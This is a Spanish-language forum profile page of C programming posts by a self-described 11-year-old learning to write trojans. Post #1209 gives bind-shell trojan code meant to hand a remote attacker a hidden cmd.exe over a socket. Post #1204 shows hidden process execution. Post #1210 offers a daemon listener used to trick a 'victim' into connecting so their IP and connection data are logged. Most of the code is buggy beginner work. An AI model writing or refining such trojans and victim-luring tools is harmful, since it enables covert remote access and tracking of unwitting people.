Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Garfield07

#1201
El code esta bien, pero yo creo que si le metes el nombre de tu maquina creo que no va. Prueba a meterle Localhost, y te saldra 127.0.0.1. Metele Google.es y te saldra la IP del server que contiene Google. Pero si metes el nombre de tu maquina no va, creo. Pero no lo he probado xD!

Saludos
#1202
Programación C/C++ / Re: Trokan.c Ayuda Windows C
3 Septiembre 2010, 11:30 AM
Clodan, no es necesario poner nada mas que un uno porque el computer luego lo pasa a ensamblador y ahi lo que queda es hacer la operacion entre parentesis, si la hay y si el resultado es positivo, o sea, diferente de cero, hace lo que viene entre las llaves.
Hay que ver como de grande es un code con una sola instruccion WHILE!!!

Ya he visto el fallillo xD no es un puntero. Voy a provarlo ahora mismo. Muxas gracias ctlon. Eso normalmente lo hago despues, pero ya ves xD. Lo hago asi para que mientras escribo el code no sea largo, pero va a ser que no!!!

Saludos y gracias a los dos
#1203
Programación C/C++ / Trokan.c Ayuda Windows C
2 Septiembre 2010, 16:26 PM
Buenas, estoy programando un mini-server en C,  que en Linux he desarrollado bastante mejor, pero necesito en Windows.
He escrito este code para ir mejorandolo, pero "algo" hace que se salte el accept y aunque nadie se conecte salta al siguiente paso xD.

El code:

#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

int main ()
{
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 0), &wsaData);

    struct sockaddr_in host, client;
    int a=sizeof (struct sockaddr);
    SOCKET newsock;
    SOCKET sockfd=socket (2, 1, 0);
    host.sin_family=AF_INET;
    host.sin_addr.s_addr=0;
    host.sin_port=htons (31337);
    memset (host.sin_zero, 0, 8);

    bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr*));
    listen (sockfd, 1);
    while (1)
    {
        newsock=accept (sockfd, (struct sockaddr*)&client, &a);
        send (newsock, "Hola!\n", 6, 0);
        printf ("Conex. correcta.\n");
        closesocket (newsock);
    }
    closesocket (sockfd);
    return 0;
}

Qué falla??? Como ven sale infinitamente el printf!!! Y nadie se conecta!!! Y no te puedes conectar!!!

Saludos y gracias

Saludos
#1204
Desde Windows lo mas facil si quieres hacer eso seria


#include <windows.h>

int main ()
{
WinExec ("exe_portable.cmd", SW_HIDE); //AQUI
}


Y no te aparece la pantalla xD
#1205
Yo te tengo que decir que si, si tienes muchas ganas, y te pones a intentarlo.
Mira, os parezca una tonteria pero tengo 11 años, y aunque no tenga muxos conocimientos, a esfuerzo y ganas se mas de muchos que entran aqui a preguntar como se hace un troyano.
Soy autodidacta, y aunque quiero hacer Ingenieria de Telecomunicaciones eso lo veo muy lejos, y no paro de preguntar y de buscar, de investigar codes y probar cosas. No veo bien que vengas aqui a preguntar eso. Si alguien me hubiese dixo a mi k no, habria seguido preguntando, mientras los demas piensan: este de k va?

Empieza tu solo por C, en Windows si kieres. Pero lo mejor es que empieces por Linux. Algo sencillito, como Ubuntu... Luego lee muxos tutos y si kieres ve videos, k no me han dixo nada a mi xro weno.

La base es que quieras y creas que puedas. Y no te cortes. Que tienes que ver algunas preguntas mias XD!!!!


Saludos y suerte
#1206
A los que sigan interesados, vi un Snake en C con un menu muy bonito xD. Voy a buscarlo por ahi....
La idea era capturar teclas en Windows, y cuando pulse las flechas arriba, abajo, etc. mueve el cuadradito, que era un simbolo ANSI...

Si lo encuentro te lo enseño... ahora no puedo pero piensa en la idea, la captura de teclas estaba basada en la de mini-keyloggers en C. Una vez hice uno, y hay otro por otra parte del foro. Busca los dos, estaban x ahi si los encuentras lee bien sobre todo el que no es mio xk es un poco cutre xD


saludos
#1207
Yo diria Dev-Cpp para novatos en Windows, y para Linux yo uso GCC de la linea de comandos....
si buscas otra cosa para windows, prueba GCC tambien en linea de comandos xD instala el Dev-Cpp y añadelo a raiz. Asi usaras GCC preinstalado con muxas librerias. Aparte el Bloc de Notas vale.

Recuerda que el verdadero hacker es el que busca soluciones creativas a sus problemas, sean tan simples como este o sean complicadas formulas imposibles xD.

Personalmente te recomiendo que te instales el Ubuntu, Fedora, etc. me gusta muxo RedHat 9, y demas, como segundo SO. para programar.


Saludos
#1208
a mi me va bien
#1209
Programación C/C++ / Duda Code troyano C
16 Agosto 2010, 15:14 PM
buenas estoy haciendo un troyanito que simplemente abra una cmd en windows, pero tengo un problema:
lo que uso es un dup2 para duplicar los descriptores de salida y entrada STDIN y STDOUT k corresponden con los descriptores 1 y 0. los duplico dirigiendolos al socket abierto, pero no me funciona. el cmd se abre en la ventana del troyano que luego voy a ocultar, por lo que no me sirve xD

les dejo el code: Dev-Cpp Windows 7 C:
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#include <sys/types.h>

int main ()
{
   WSADATA wsaData;
   WSAStartup(MAKEWORD(1, 1), &wsaData);
   
SOCKET sockfd, newsock;
struct sockaddr_in client, host;
   int a=sizeof (client);

sockfd=socket (2, 1, 0);
host.sin_family=AF_INET;
host.sin_addr.s_addr=0;
host.sin_port=htons (33333);
memset (host.sin_zero, '\0', 8);

bind (sockfd, (struct sockaddr*)&host, sizeof (host));
listen (sockfd, 1);

while (1)
{
newsock=accept (sockfd, (struct sockaddr*)&client, &a);
send (newsock, "Conexion finalizada.\n", 21, 0);
dup2 (STDIN, newsock);
dup2 (STDOUT, newsock);
dup2 (STRERR, newsock);
WinExec ("cmd.exe", SW_NORMAL);
closesocket (newsock);
}

closesocket (sockfd);
return 0;
}


Nota: Linkeo desde un proyecto, pero quiero hacerlo desde linea de comandos. se k se ha hablado muxo xro sigo sin conseguirlo fuera de graficos....
linkeo a C:/Dev-Cpp/lib/libwsock32.a k es la k va en el 7.

saludos y gracias

Lh: No hagas doble post.

agradeceria que alguien respondiese

antes de continuar, dire que lo volvi a escribir en Linux Ubuntu. A ver k tal:
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main()
{
int sockfd, newsock;
struct sockaddr_in server, client;
int a;

sockfd=socket(2, 1, 0);
server.sin_family = AF_INET;
server.sin_port = htons(31337);
server.sin_addr.s_addr = 0;
memset((struct sockaddr*)server.sin_zero, '\0', 8);

bind(sockfd,(struct sockaddr*)&server, sizeof(struct sockaddr));
listen(sockfd,3);

while(1)
{
a=sizeof(struct sockaddr_in);
newsock=accept(sockfd, (struct sockaddr *)&client, &a);
dup2 (stdin, newsock);
dup2 (stdout, newsock);
dup2 (stderr, newsock);
fprintf (stdin, "Hola");
close (newsock);
}
return 0;
close(sockfd);
}


Donde dice "Hola" en el fprintf deberia escribir en el socket "newsock", pero no lo escribe en algun lado.
Echenme una mano por favor!!!


Lh: No hagas doble post, utiliza el botón modificar. Ten paciencia para esperar la respuesta.
Proximo doble post y borro directamente.


Buenas, se que la participacion es voluntaria pero necesito urgentemente una respuesta, por favor.
Alguien puede echarme una mano?

Saludos y gracias
#1210
Programación C/C++ / Como sacar una IP, CODE
17 Julio 2010, 12:58 PM
Bueno, el otro dia postee en el subforo de Messenger, Chats... k como le sacaba la IP "real" a la victima pues la k aparecia en REAL IP, o algo asi, no era la buena...
pues aparte de k si es la buena, se me ocurrio otro metodo + eficaz xD

escribi un programa en C k esperase coenxiones en un puerto a indicar, y lo registrase todo en un archivo.
pues bien, lo k hice fue hacer kill al apache y lo puse en el p 80. le pase mi ip y le dije: "Conectate aki, ya veras... etc."
se conecta y queda registrada la Ip de la victima, con muxa mas info del ordenata destino.

si alguien kiere aplicar la idea, aki les dejo el code xD
#include <sys/socket.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <signal.h>
#include <time.h>

int socketfd, newsocket;

void shutup (int signal)
{
FILE *log;
log=fopen ("/var/log/smallserver.log", "a+");
times ();
fprintf (log, "Shutting down...\n\n");
fclose (log);
close (newsocket);
close (socketfd);
exit (0);
}

int times ()
{
FILE *log;
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
log=fopen ("/var/log/smallserver.log", "a+");
fprintf (log,"%s   ", buffer);
fclose (log);
return 0;
}

int main (int argc, char *argv [])
{
if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc!=2)
{
printf ("Error:\nUse: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
FILE *log;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);

socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));

listen (socketfd, 3);

log=fopen ("/var/log/smallserver.log", "a+");
times ();
fprintf (log, "Starting up...\n\n");
fclose (log);

signal (SIGTERM, shutup);
signal (SIGINT, shutup);

printf ("Forking process...");
daemon (1, 0);

while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);

log=fopen ("/var/log/smallserver.log", "a+");
times ();
fprintf (log, "Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
fclose (log);

cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
printf ("%d", cont);
log=fopen ("/var/log/smallserver.log", "a+");
times ();
buffer [cont-1]='\0';
fprintf (log, "RECV %d bytes: %s \n", cont-2, buffer);
fclose (log);

cont=recv (newsocket, &buffer, 1024, 0);
}
log=fopen ("/var/log/smallserver.log", "a+");
times ();
fprintf (log, "Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
fclose (log);
close (newsocket);
}
close (socketfd);
return 0;
}


se k es bastante simple, xro me costo un pokito xD k estoi aprendiendo...
si alguien cree k es mejorable, k postee como. estoi interesado (stoi aprendiendo, otra vez xD)